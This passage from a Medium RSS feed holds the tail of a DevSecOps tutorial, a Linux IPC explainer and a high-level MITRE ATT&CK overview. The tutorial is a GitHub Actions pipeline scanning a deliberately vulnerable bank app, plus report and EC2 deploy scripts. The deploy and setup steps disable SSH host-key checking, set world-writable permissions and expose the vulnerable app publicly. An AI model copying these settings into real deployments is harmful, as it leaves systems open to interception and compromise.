true<br>        env:<br>          SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}<br>          SONAR_HOST_URL: ${{ secrets.SONAR_HOST_URL }}<br>        with:<br>          args: &gt;<br>            -Dsonar.projectKey=commando-x_vuln-bank #This should be your project key name<br>            -Dsonar.organization=commando-x #And your org name too<br>            -Dsonar.sources=.<br>            -Dsonar.python.version=3.9</pre><pre>      - name: Store SonarQube Results<br>        run: |<br>          mkdir -p security-results/sonarqube<br>          curl -H &quot;Authorization: Bearer ${{ secrets.SONAR_TOKEN }}&quot; \<br>               &quot;${{ secrets.SONAR_HOST_URL }}/api/issues/search?projectKeys=commando-x_vuln-bank&quot; \<br>               &gt; security-results/sonarqube/issues.json<br>          <br>          if [ -s security-results/sonarqube/issues.json ]; then<br>            echo &quot;SonarQube results saved successfully&quot;<br>          else<br>            echo &quot;No SonarQube issues found&quot;<br>            echo &#39;{&quot;issues&quot;: []}&#39; &gt; security-results/sonarqube/issues.json<br>          fi</pre><pre>      - name: Upload SonarQube Results<br>        uses: actions/upload-artifact@v4<br>        with:<br>          name: sonar-results<br>          path: security-results/sonarqube/<br>          retention-days: 90</pre><p>Pro Tip 💡: The continue-on-error: true ensures our pipeline doesn&#39;t stop if it finds issues - perfect for learning!</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*_JgYvAkKZU7OWPKc.png" /></figure><p><strong>Software Composition Analysis (SCA) with Snyk 🔎</strong></p><pre># SCA – Dependency Scanning<br>  sca:<br>    name: Dependency Scanning (Snyk)<br>    runs-on: ubuntu-latest<br>    steps:<br>      - uses: actions/checkout@v4</pre><pre>      - name: Set Up Python<br>        uses: actions/setup-python@v4<br>        with:<br>          python-version: &#39;3.9&#39;</pre><pre>      - name: Install Dependencies<br>        run: |<br>          python -m pip install --upgrade pip<br>          pip install -r requirements.txt</pre><pre>      - name: Create Results Directory<br>        run: mkdir -p security-results/snyk</pre><pre>      - name: Run Snyk Scan<br>        uses: snyk/actions/python@master<br>        continue-on-error: true<br>        env:<br>          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}<br>        with:<br>          args: --json-file-output=security-results/snyk/scan-results.json</pre><pre>      - name: Verify Snyk Results<br>        run: |<br>          if [ -s security-results/snyk/scan-results.json ]; then<br>            echo &quot;Snyk scan completed successfully&quot;<br>          else<br>            echo &quot;No Snyk vulnerabilities found&quot;<br>            echo &#39;{&quot;vulnerabilities&quot;: []}&#39; &gt; security-results/snyk/scan-results.json<br>          fi</pre><pre>      - name: Upload Snyk Results<br>        uses: actions/upload-artifact@v4<br>        with:<br>          name: snyk-results<br>          path: security-results/snyk/scan-results.json<br>          retention-days: 90</pre><p><strong>Container Security with Trivy 🐳</strong></p><pre># Container Scanning<br>  container_scan:<br>    name: Container Scanning (Trivy)<br>    runs-on: ubuntu-latest<br>    steps:<br>      - uses: actions/checkout@v4</pre><pre>      - name: Build Docker Image<br>        run: docker build -t vulnerable-bank:latest .</pre><pre>      - name: Create Results Directory<br>        run: mkdir -p security-results/trivy</pre><pre>      - name: Run Trivy Scan<br>        uses: aquasecurity/trivy-action@master<br>        with:<br>          image-ref: &#39;vulnerable-bank:latest&#39;<br>          format: &#39;json&#39;<br>          output: &#39;security-results/trivy/scan-results.json&#39;<br>          severity: &#39;CRITICAL,HIGH&#39;<br>          ignore-unfixed: true<br>          exit-code: 0</pre><pre>      - name: Verify Trivy Results<br>        run: |<br>          if [ -s security-results/trivy/scan-results.json ]; then<br>            echo &quot;Trivy scan completed successfully&quot;<br>          else<br>            echo &quot;No Trivy vulnerabilities found&quot;<br>            echo &#39;{&quot;Results&quot;: []}&#39; &gt; security-results/trivy/scan-results.json<br>          fi</pre><pre>      - name: Upload Trivy Results<br>        uses: actions/upload-artifact@v4<br>        with:<br>          name: trivy-results<br>          path: security-results/trivy/scan-results.json<br>          retention-days: 90</pre><p>Pro Tip 💡: Trivy can find vulnerabilities in both your container and your dependencies!</p><p><strong>Infrastructure as Code (IaC) Scanning with Chekov</strong></p><pre># IaC Scanning<br>  iac_scan:<br>    name: IaC Scanning (Checkov)<br>    runs-on: ubuntu-latest<br>    steps:<br>      - uses: actions/checkout@v4</pre><pre>      - name: Create Results Directory<br>        run: mkdir -p security-results/checkov</pre><pre>      - name: Run Checkov Scan<br>        uses: bridgecrewio/checkov-action@master<br>        continue-on-error: true<br>        with:<br>          directory: .<br>          framework: dockerfile,github_actions<br>          output_format: json<br>          output_file: security-results/checkov/results.json<br>          soft_fail: true</pre><pre>      - name: Verify Checkov Results<br>        run: |<br>          if [ -s security-results/checkov/results.json ]; then<br>            echo &quot;Checkov scan completed successfully&quot;<br>          else<br>            echo &quot;No Checkov issues found&quot;<br>            echo &#39;{&quot;results&quot;: {&quot;failed_checks&quot;: []}}&#39; &gt; security-results/checkov/results.json<br>          fi</pre><pre>      - name: Upload Checkov Results<br>        uses: actions/upload-artifact@v4<br>        with:<br>          name: checkov-results<br>          path: security-results/checkov/results.json<br>          retention-days: 90</pre><p><strong>Dynamic Analysis with ZAP</strong></p><pre># Dynamic Analysis<br>  zap_scan:<br>    name: Dynamic Analysis (OWASP ZAP)<br>    runs-on: ubuntu-latest<br>    continue-on-error: true<br>    steps:<br>      - name: Checkout Repository<br>        uses: actions/checkout@v4</pre><pre>      - name: Set Up Python<br>        uses: actions/setup-python@v4<br>        with:<br>          python-version: &#39;3.9&#39;</pre><pre>      - name: Install Dependencies<br>        run: |<br>          python -m pip install --upgrade pip<br>          pip install -r requirements.txt</pre><pre>      - name: Start and Verify Flask Application<br>        run: |<br>          chmod +x scripts/health_check.sh<br>          ./scripts/health_check.sh</pre><pre>      - name: Create Results Directory and Set Permissions<br>        run: |<br>          mkdir -p security-results/zap<br>          sudo chown -R 1000:1000 .<br>          sudo chmod -R 777 security-results/zap</pre><pre>      - name: Run ZAP Scan<br>        run: |<br>          docker pull softwaresecurityproject/zap-stable:2.14.0<br>          <br>          # Create zap.yaml with correct permissions<br>          sudo mkdir -p /home/runner/zap<br>          sudo chown -R 1000:1000 /home/runner/zap<br>          <br>          docker run --user 1000:1000 \<br>            --rm \<br>            -v $(pwd):/zap/wrk:rw \<br>            -v /home/runner/zap:/home/zap:rw \<br>            --network host \<br>            softwaresecurityproject/zap-stable:2.14.0 \<br>            zap-baseline.py \<br>            -t <a href="http://localhost:5000/">http://localhost:5000</a> \<br>            -J security-results/zap/zap-output.json \<br>            -I</pre><pre>      - name: Cleanup Docker Image<br>        if: always()<br>        run: docker rmi softwaresecurityproject/zap-stable:2.14.0</pre><pre>      - name: Upload ZAP Results<br>        if: always()<br>        uses: actions/upload-artifact@v4<br>        with:<br>          name: zap-results<br>          path: security-results/zap/<br>          retention-days: 90</pre><h3>Step 6: The Report Generation Magic</h3><p>Remember how we couldn’t use DefectDojo? No problem! We created our own awesome HTML report generator. Here’s how it works:</p><pre>#!/bin/bash<br># scripts/generate_report.sh</pre><pre>echo &quot;Generating security report...&quot;</pre><pre>cat &lt;&lt; &#39;EOF&#39; &gt; security-results/report.html<br>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;title&gt;Security Scan Results&lt;/title&gt;<br>    &lt;style&gt;<br>        body {<br>            font-family: &#39;Segoe UI&#39;, Arial, sans-serif;<br>            line-height: 1.6;<br>            margin: 0;<br>            padding: 20px;<br>            background: #f5f5f5;<br>            color: #333;<br>        }<br>        .container {<br>            max-width: 1200px;<br>            margin: 0 auto;<br>            background: white;<br>            padding: 20px;<br>            border-radius: 8px;<br>            box-shadow: 0 2px 4px rgba(0,0,0,0.1);<br>        }<br>        .header {<br>            text-align: center;<br>            margin-bottom: 30px;<br>            padding: 20px;<br>            background: #f8f9fa;<br>            border-radius: 4px;<br>        }<br>        .tool-section {<br>            margin-bottom: 40px;<br>            padding: 20px;<br>            border: 1px solid #ddd;<br>            border-radius: 4px;<br>        }<br>        /* Colorful Headers for Each Tool */<br>        .tool-section.sonarqube h2 {<br>            background: #4c9bd6;  /* Blue */<br>            color: white;<br>        }<br>        .tool-section.snyk h2 {<br>            background: #582d82;  /* Purple */<br>            color: white;<br>        }<br>        .tool-section.trivy h2 {<br>            background: #2d9882;  /* Teal */<br>            color: white;<br>        }<br>        .tool-section.zap h2 {<br>            background: #d63619;  /* Red-Orange */<br>            color: white;<br>        }<br>        .tool-section h2 {<br>            padding: 15px 20px;<br>            margin: -20px -20px 20px -20px;<br>            border-radius: 4px 4px 0 0;<br>        }<br>        .vulnerability-item {<br>            margin: 15px 0;<br>            padding: 15px;<br>            background: #f8f9fa;<br>            border-left: 4px solid #ddd;<br>            border-radius: 4px;<br>        }<br>        .severity-critical { border-left-color: #7d0000; }<br>        .severity-high { border-left-color: #d73a4a; }<br>        .severity-medium { border-left-color: #fb8c00; }<br>        .severity-low { border-left-color: #ffca28; }<br>        .severity-info { border-left-color: #0366d6; }<br>        <br>        .vulnerability-title {<br>            font-weight: bold;<br>            margin-bottom: 10px;<br>        }<br>        .metadata {<br>            font-size: 0.9em;<br>            color: #666;<br>            margin: 5px 0;<br>        }<br>        .severity-badge {<br>            display: inline-block;<br>            padding: 3px 8px;<br>            border-radius: 3px;<br>            font-size: 0.8em;<br>            font-weight: bold;<br>            color: white;<br>        }<br>        .badge-critical { background-color: #7d0000; }<br>        .badge-high { background-color: #d73a4a; }<br>        .badge-medium { background-color: #fb8c00; }<br>        .badge-low { background-color: #ffca28; color: #333; }<br>        .badge-info { background-color: #0366d6; }<br>        <br>        .stats {<br>            display: flex;<br>            justify-content: space-around;<br>            margin: 20px 0;<br>            flex-wrap: wrap;<br>            background: rgba(255, 255, 255, 0.9);<br>            padding: 15px;<br>            border-radius: 4px;<br>        }<br>        .stat-item {<br>            text-align: center;<br>            padding: 15px;<br>            background: white;<br>            border-radius: 4px;<br>            box-shadow: 0 1px 3px rgba(0,0,0,0.1);<br>            margin: 10px;<br>            min-width: 150px;<br>        }<br>        .stat-number {<br>            font-size: 24px;<br>            font-weight: bold;<br>            margin: 10px 0;<br>        }<br>        .description {<br>            margin: 10px 0;<br>            padding: 10px;<br>            background: #f8f9fa;<br>            border-radius: 4px;<br>        }<br>        .solution {<br>            margin: 10px 0;<br>            padding: 10px;<br>            background: #e3f2fd;<br>            border-radius: 4px;<br>        }<br>    &lt;/style&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;div class=&quot;container&quot;&gt;<br>        &lt;div class=&quot;header&quot;&gt;<br>            &lt;h1&gt;Security Scan Results&lt;/h1&gt;<br>            &lt;p&gt;Generated on $(date)&lt;/p&gt;<br>            &lt;p&gt;Repository: $GITHUB_REPOSITORY&lt;/p&gt;<br>            &lt;p&gt;Branch: $GITHUB_REF&lt;/p&gt;<br>        &lt;/div&gt;</pre><pre>        &lt;!-- SonarQube Results --&gt;<br>        &lt;div class=&quot;tool-section sonarqube&quot;&gt;<br>            &lt;h2&gt;Static Application Security Testing (SonarQube)&lt;/h2&gt;<br>            &lt;div class=&quot;stats&quot;&gt;<br>                $(jq -r &#39;.issues | group_by(.severity) | map({severity: .[0].severity, count: length}) | map(&quot;&lt;div class=\&quot;stat-item\&quot;&gt;&lt;div class=\&quot;stat-number\&quot;&gt;&quot; + (.count|tostring) + &quot;&lt;/div&gt;&lt;div&gt;&quot; + .severity + &quot;&lt;/div&gt;&lt;/div&gt;&quot;) | join(&quot;&quot;)&#39; security-results/sonarqube/issues.json 2&gt;/dev/null || echo &quot;&lt;div class=&#39;stat-item&#39;&gt;&lt;div&gt;No results available&lt;/div&gt;&lt;/div&gt;&quot;)<br>            &lt;/div&gt;<br>            &lt;div class=&quot;findings&quot;&gt;<br>                $(jq -r &#39;.issues[] | &quot;&lt;div class=\&quot;vulnerability-item severity-&quot; + (.severity|ascii_downcase) + &quot;\&quot;&gt;&lt;div class=\&quot;vulnerability-title\&quot;&gt;&quot; + .message + &quot;&lt;/div&gt;&lt;div class=\&quot;metadata\&quot;&gt;Location: &quot; + .component + &quot;&lt;/div&gt;&lt;div class=\&quot;metadata\&quot;&gt;Type: &quot; + .type + &quot;&lt;/div&gt;&lt;/div&gt;&quot;&#39; security-results/sonarqube/issues.json 2&gt;/dev/null || echo &quot;&lt;p&gt;No issues found&lt;/p&gt;&quot;)<br>            &lt;/div&gt;<br>        &lt;/div&gt;</pre><pre>        &lt;!-- Snyk Results --&gt;<br>        &lt;div class=&quot;tool-section snyk&quot;&gt;<br>            &lt;h2&gt;Software Composition Analysis (Snyk)&lt;/h2&gt;<br>            &lt;div class=&quot;findings&quot;&gt;<br>                $(jq -r &#39;.vulnerabilities[] | &quot;&lt;div class=\&quot;vulnerability-item severity-&quot; + (.severity|ascii_downcase) + &quot;\&quot;&gt;&lt;div class=\&quot;vulnerability-title\&quot;&gt;&quot; + .title + &quot;&lt;/div&gt;&lt;div class=\&quot;metadata\&quot;&gt;Package: &quot; + .package + &quot; (Version: &quot; + .version + &quot;)&lt;/div&gt;&lt;div class=\&quot;metadata\&quot;&gt;Fixed in: &quot; + (.fixedIn[0] // &quot;No fix available&quot;) + &quot;&lt;/div&gt;&lt;div class=\&quot;description\&quot;&gt;&quot; + .description + &quot;&lt;/div&gt;&lt;/div&gt;&quot;&#39; security-results/snyk/scan-results.json 2&gt;/dev/null || echo &quot;&lt;p&gt;No vulnerabilities found&lt;/p&gt;&quot;)<br>            &lt;/div&gt;<br>        &lt;/div&gt;</pre><pre>        &lt;!-- Trivy Results --&gt;<br>        &lt;div class=&quot;tool-section trivy&quot;&gt;<br>            &lt;h2&gt;Container Security (Trivy)&lt;/h2&gt;<br>            &lt;div class=&quot;findings&quot;&gt;<br>                $(jq -r &#39;.Results[]? | .Vulnerabilities[]? | &quot;&lt;div class=\&quot;vulnerability-item severity-&quot; + (.Severity|ascii_downcase) + &quot;\&quot;&gt;&lt;div class=\&quot;vulnerability-title\&quot;&gt;&quot; + .VulnerabilityID + &quot;: &quot; + .Title + &quot;&lt;/div&gt;&lt;div class=\&quot;metadata\&quot;&gt;Package: &quot; + .PkgName + &quot; (Version: &quot; + .InstalledVersion + &quot;)&lt;/div&gt;&lt;div class=\&quot;metadata\&quot;&gt;Fixed Version: &quot; + (.FixedVersion // &quot;No fix available&quot;) + &quot;&lt;/div&gt;&lt;/div&gt;&quot;&#39; security-results/trivy/scan-results.json 2&gt;/dev/null || echo &quot;&lt;p&gt;No vulnerabilities found&lt;/p&gt;&quot;)<br>            &lt;/div&gt;<br>        &lt;/div&gt;</pre><pre>        &lt;!-- ZAP Results --&gt;<br>        &lt;div class=&quot;tool-section zap&quot;&gt;<br>            &lt;h2&gt;Dynamic Application Security Testing (OWASP ZAP)&lt;/h2&gt;<br>            &lt;div class=&quot;findings&quot;&gt;<br>                $(jq -r &#39;.site[]?.alerts[]? | &quot;&lt;div class=\&quot;vulnerability-item severity-&quot; + (if .riskcode == &quot;3&quot; then &quot;critical&quot; elif .riskcode == &quot;2&quot; then &quot;high&quot; elif .riskcode == &quot;1&quot; then &quot;medium&quot; else &quot;low&quot; end) + &quot;\&quot;&gt;&lt;div class=\&quot;vulnerability-title\&quot;&gt;&quot; + .name + &quot;&lt;/div&gt;&lt;div class=\&quot;metadata\&quot;&gt;Risk Level: &quot; + .riskdesc + &quot;&lt;/div&gt;&lt;div class=\&quot;description\&quot;&gt;&quot; + .desc + &quot;&lt;/div&gt;&lt;div class=\&quot;solution\&quot;&gt;&lt;strong&gt;Solution:&lt;/strong&gt;&lt;br/&gt;&quot; + .solution + &quot;&lt;/div&gt;&lt;/div&gt;&quot;&#39; security-results/zap/zap-output.json 2&gt;/dev/null || echo &quot;&lt;p&gt;No vulnerabilities found&lt;/p&gt;&quot;)<br>            &lt;/div&gt;<br>        &lt;/div&gt;<br>    &lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;<br>EOF</pre><pre>echo &quot;Report generated successfully at security-results/report.html&quot;</pre><p>Pro Tip 💡: Always chmod +x your shell scripts! (chmod +x scripts/generate_report.sh)</p><p><a href="https://github.com/Commando-X/vuln-bank-devsecops/blob/main/.github/workflows/devsecops.yml"><strong>Click here for the complete YAML script</strong></a></p><h3>Step 7: Deployment to AWS 🚀</h3><p>The final piece — deploying to EC2! Here’s our deployment script:</p><pre>#!/bin/bash<br># deploy/deploy.sh</pre><pre># Exit on error<br>set -e</pre><pre>echo &quot;Starting deployment...&quot;</pre><pre># Variables<br>EC2_HOST=&quot;${EC2_HOST}&quot;<br>SSH_KEY=&quot;${SSH_PRIVATE_KEY}&quot;<br>APP_NAME=&quot;vulnerable-bank&quot;</pre><pre># Save SSH key<br>echo &quot;$SSH_KEY&quot; &gt; deploy_key.pem<br>chmod 600 deploy_key.pem</pre><pre># Build Docker image<br>echo &quot;Building Docker image...&quot;<br>docker build -t $APP_NAME .</pre><pre># Save image to tar<br>echo &quot;Saving Docker image...&quot;<br>docker save $APP_NAME &gt; app.tar</pre><pre># Copy files to EC2<br>echo &quot;Copying files to EC2...&quot;<br>scp -i deploy_key.pem \<br>    -o StrictHostKeyChecking=no \<br>    app.tar \<br>    ubuntu@${EC2_HOST}:~/</pre><pre># Deploy on EC2<br>echo &quot;Deploying on EC2...&quot;<br>ssh -i deploy_key.pem \<br>    -o StrictHostKeyChecking=no \<br>    ubuntu@${EC2_HOST} \<br>    &quot;docker load &lt; app.tar &amp;&amp; \<br>     docker stop $APP_NAME || true &amp;&amp; \<br>     docker rm $APP_NAME || true &amp;&amp; \<br>     docker run -d \<br>       --name $APP_NAME \<br>       -p 80:5000 \<br>       --restart unless-stopped \<br>       $APP_NAME&quot;</pre><pre># Cleanup<br>rm deploy_key.pem app.tar</pre><pre>echo &quot;Deployment completed successfully!&quot;</pre><p>Pro Tip 💡: Always test your deployment locally first with a test EC2 instance!</p><h3>Running the Application 🏃‍♂️</h3><p>Once deployed, you can access your application:</p><ol><li>SSH into your EC2 instance:</li></ol><pre>ssh -i your-key.pem ec2-user@your-ec2-ip</pre><p>2. Check if everything’s running:</p><pre>docker ps<br>docker logs vulnerable-bank</pre><p>3. Visit http://your-ec2-public-ip in your browser</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3572983a1a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Internals]]></title>
            <link>https://medium.com/@er.mdyousufhussain/linux-internals-b61c182b72af?source=rss-3984535c1ecd------2</link>
            <guid isPermaLink="false">https://medium.com/p/b61c182b72af</guid>
            <category><![CDATA[it]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[M Yousuf Hussain]]></dc:creator>
            <pubDate>Fri, 21 Feb 2025 10:05:30 GMT</pubDate>
            <atom:updated>2025-02-21T10:05:30.153Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Understanding Inter-Process Communication (IPC) Mechanisms</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*jlWAFX5ggmP9Hg4cEkjCFw.jpeg" /></figure><h3>Introduction</h3><p>Efficient communication between processes is fundamental to building robust and high-performing Linux applications. Whether the processes are related (parent-child) or unrelated, Linux provides a variety of <strong>Inter-Process Communication (IPC)</strong> mechanisms to facilitate smooth data exchange and synchronization.</p><p>In this article, we will explore different IPC methods, including <strong>pipes, FIFOs, shared memory, semaphores, signals, and message queues</strong>. Additionally, we’ll discuss the challenges of <strong>race conditions</strong> and how to mitigate them.</p><h3>What is Inter-Process Communication (IPC)?</h3><p>IPC enables processes to <strong>exchange data and coordinate actions</strong> while running independently. The choice of IPC mechanism depends on the level of efficiency, complexity, and synchronization required by the application.</p><h3>IPC Between Related and Unrelated Processes</h3><ul><li><strong>Related Processes</strong>: Parent-child processes can communicate through simpler mechanisms like <strong>pipes</strong> and <strong>signals</strong>.</li><li><strong>Unrelated Processes</strong>: Separate processes require more complex mechanisms like <strong>message queues, shared memory, and named pipes (FIFOs)</strong>.</li></ul><h3>IPC Mechanisms in Linux</h3><h3>1. Pipes</h3><p>Pipes allow <strong>unidirectional communication</strong> between related processes. One process writes data, while another reads it.</p><ul><li><strong>Example</strong>: ls | grep txt</li><li><strong>Limitation</strong>: Cannot be used between unrelated processes.</li></ul><h3>2. FIFOs (Named Pipes)</h3><p>FIFOs work similarly to pipes but can facilitate communication between <strong>unrelated processes</strong>.</p><ul><li><strong>Created with</strong>: mkfifo myfifo</li><li><strong>Used like a file</strong>: One process writes to it while another reads.</li></ul><h3>3. Shared Memory</h3><p>This is the fastest IPC mechanism, allowing processes to share memory segments.</p><ul><li><strong>Requires synchronization</strong> using <strong>semaphores</strong>.</li><li><strong>Created using</strong>: shmget(), shmat(), shmdt(), shmctl().</li><li><strong>Use Case</strong>: High-speed data exchange.</li></ul><h3>4. Semaphores</h3><p>Semaphores help in <strong>synchronizing processes</strong> and preventing race conditions.</p><ul><li><strong>Two types</strong>: Binary semaphores (locks) and Counting semaphores.</li><li><strong>Implemented using</strong>: semget(), semop(), semctl().</li><li><strong>Use Case</strong>: Preventing multiple processes from accessing a critical section simultaneously.</li></ul><h3>5. Signals</h3><p>Signals are lightweight mechanisms used to <strong>notify a process</strong> of events like termination or interrupts.</p><ul><li><strong>Common signals</strong>: SIGKILL, SIGINT, SIGTERM.</li><li><strong>Handled using</strong>: signal(), sigaction().</li></ul><h3>6. Message Queues</h3><p>Message queues allow structured communication by <strong>sending and receiving messages</strong>.</p><ul><li><strong>Functions used</strong>: msgget(), msgsnd(), msgrcv(), msgctl().</li><li><strong>Use Case</strong>: When ordering and prioritization of messages are important.</li></ul><h3>The Challenge of Race Conditions</h3><p>A <strong>race condition</strong> occurs when multiple processes access shared resources simultaneously, leading to unpredictable results.</p><h3>How to Prevent Race Conditions?</h3><ol><li><strong>Use semaphores and mutexes</strong> to ensure only one process accesses the resource at a time.</li><li><strong>Employ atomic operations</strong> for concurrent updates.</li><li><strong>Leverage message queues or signals</strong> for controlled communication.</li></ol><h3>Conclusion</h3><p>Understanding <strong>Linux IPC mechanisms</strong> is crucial for designing efficient and secure inter-process communication in applications. Each mechanism has its own use cases, trade-offs, and performance implications. Whether you need <strong>fast memory sharing, structured messaging, or process synchronization</strong>, Linux provides robust tools to meet your needs.</p><p>By mastering <strong>IPC, semaphores, and synchronization techniques</strong>, developers can build scalable and race-condition-free applications. What IPC mechanism do you prefer for your projects? Let us know in the comments!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b61c182b72af" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unveiling the MITRE ATT&CK Framework]]></title>
            <link>https://medium.com/@er.mdyousufhussain/unveiling-the-mitre-att-ck-framework-93209a122a9b?source=rss-3984535c1ecd------2</link>
            <guid isPermaLink="false">https://medium.com/p/93209a122a9b</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[it]]></category>
            <dc:creator><![CDATA[M Yousuf Hussain]]></dc:creator>
            <pubDate>Thu, 20 Feb 2025 13:34:38 GMT</pubDate>
            <atom:updated>2025-02-20T13:34:38.491Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>A Deep Dive Into Cybersecurity Tactics and Techniques</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*TebcSlK1iklizwdNIb-k5w.jpeg" /></figure><h3>Introduction</h3><p>Imagine being able to anticipate every move a hacker might make before they even strike. That’s exactly what the <a href="https://attack.mitre.org/"><strong>MITRE ATT&amp;CK</strong></a> framework helps cybersecurity professionals achieve. As a comprehensive knowledge base of adversary behaviors, it categorizes the tactics, techniques, and procedures (TTPs) attackers use to exploit vulnerabilities in systems.</p><p>Whether you’re an ethical hacker, security analyst, or an enterprise defender, understanding this framework can significantly improve your security posture. In this article, we’ll break down the <a href="https://attack.mitre.org/"><strong>MITRE ATT&amp;CK</strong></a><strong> Matrix for Enterprise</strong>, exploring its various phases — from <strong>reconnaissance to impact</strong> — and why it’s a game-changer in cybersecurity.</p><h3>What is the MITRE ATT&amp;CK Framework?</h3><p>MITRE ATT&amp;CK (Adversarial Tactics, Techniques, and Common Knowledge) is a globally accessible framework developed by <strong>MITRE Corporation</strong> to document and analyze cyber threats. Instead of focusing solely on indicators of compromise (IOCs), ATT&amp;CK shifts the perspective to <strong>how</strong> an attacker operates, providing detailed insights into their methods.</p><p>The framework is divided into multiple <strong>matrices</strong>, with the <strong>Enterprise Matrix</strong> being the most widely used for securing IT environments.</p><h3>The Phases of an Attack: ATT&amp;CK Tactics Breakdown</h3><p>The <a href="https://attack.mitre.org/"><strong>MITRE ATT&amp;CK</strong></a><strong> Matrix for Enterprise</strong> consists of different tactics, each representing a <strong>high-level objective</strong> that an attacker aims to achieve. These range from the initial information gathering to final data destruction or ransom deployment.</p><h3>1. Reconnaissance</h3><blockquote>“Know your enemy and know yourself and you can fight a hundred battles without disaster.”<em> — Sun Tzu</em></blockquote><p>Before launching an attack, adversaries gather intelligence about their target. This can involve <strong>phishing, social engineering, domain scanning, or OSINT (Open Source Intelligence) techniques</strong> to map out potential vulnerabilities.</p><h3>2. Resource Development</h3><p>Attackers acquire the necessary infrastructure for execution, such as setting up <strong>command-and-control (C2) servers, malware development, compromised credentials, and botnets</strong>.</p><h3>3. Initial Access</h3><p>Here, attackers establish their foothold using tactics like <strong>exploiting public-facing applications, spear-phishing, or using stolen credentials</strong>. This phase is critical as it determines whether an attack will be successful.</p><h3>4. Execution</h3><p>Once inside, attackers execute malicious code through <strong>PowerShell scripts, macros, or exploitation of legitimate system tools</strong> (often called Living Off the Land Binaries, or <strong>LOLBins</strong>).</p><h3>5. Persistence</h3><p>To maintain access even after reboots, adversaries use <strong>backdoors, registry modifications, scheduled tasks, or remote access tools</strong> to stay hidden.</p><h3>6. Privilege Escalation</h3><p>Gaining higher privileges, such as <strong>admin or root access</strong>, allows attackers to move freely within the environment. This is done via <strong>kernel exploits, credential dumping, or misconfigured permissions</strong>.</p><h3>7. Defense Evasion</h3><p>Modern malware is designed to bypass security controls. Techniques include <strong>disabling antivirus, obfuscating scripts, and using encrypted channels</strong> for C2 communications.</p><h3>8. Credential Access</h3><p>A major goal is to steal <strong>usernames, passwords, or API keys</strong> using keylogging, credential dumping (Mimikatz), or brute-force attacks.</p><h3>9. Discovery</h3><p>Attackers explore the network to understand its topology, identify sensitive assets, and find high-value targets.</p><h3>10. Lateral Movement</h3><p>Compromising one machine is rarely enough. Hackers spread laterally using <strong>pass-the-hash attacks, RDP, or SMB exploits</strong>.</p><h3>11. Collection</h3><p>Data theft is a primary motivation. Attackers gather <strong>sensitive files, database contents, or intellectual property</strong> for exfiltration.</p><h3>12. Command and Control (C2)</h3><p>Cybercriminals communicate with compromised systems remotely, often using <strong>encrypted protocols, DNS tunneling, or proxy servers</strong> to avoid detection.</p><h3>13. Exfiltration</h3><p>Data is stealthily extracted via <strong>cloud storage, encrypted channels, or DNS requests</strong>, often in small chunks to evade monitoring.</p><h3>14. Impact</h3><p>Finally, attackers inflict damage, whether through <strong>ransomware, data destruction, financial fraud, or public leaks</strong>.</p><h3>Why MITRE ATT&amp;CK is a Game-Changer</h3><ol><li><strong>Proactive Defense</strong>: Instead of just reacting to threats, security teams can <strong>anticipate and mitigate</strong> attacks before they happen.</li><li><strong>Red &amp; Blue Teaming</strong>: Red teams (ethical hackers) use it to simulate real-world attacks, while blue teams (defenders) use it to detect and respond effectively.</li><li><strong>Threat Intelligence Integration</strong>: Security platforms, including SIEMs, XDR solutions, and EDR tools, integrate ATT&amp;CK to enhance <strong>detection capabilities</strong>.</li><li><strong>Standardization</strong>: Many organizations use it as a common language for discussing <strong>cyber threats and defense strategies</strong>.</li></ol><h3>Conclusion</h3><p>The <strong>MITRE ATT&amp;CK framework</strong> is more than just a cybersecurity tool — it’s a strategic advantage for organizations looking to strengthen their defenses against cyber threats. By understanding its <strong>phases, tactics, and techniques</strong>, security professionals can proactively <strong>identify vulnerabilities, mitigate risks, and stay ahead of adversaries</strong>.</p><p>As cyber threats continue to evolve, leveraging ATT&amp;CK as part of your security strategy can be the difference between a <strong>contained breach and a catastrophic cyberattack</strong>. The question is — <strong>is your organization prepared?</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93209a122a9b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>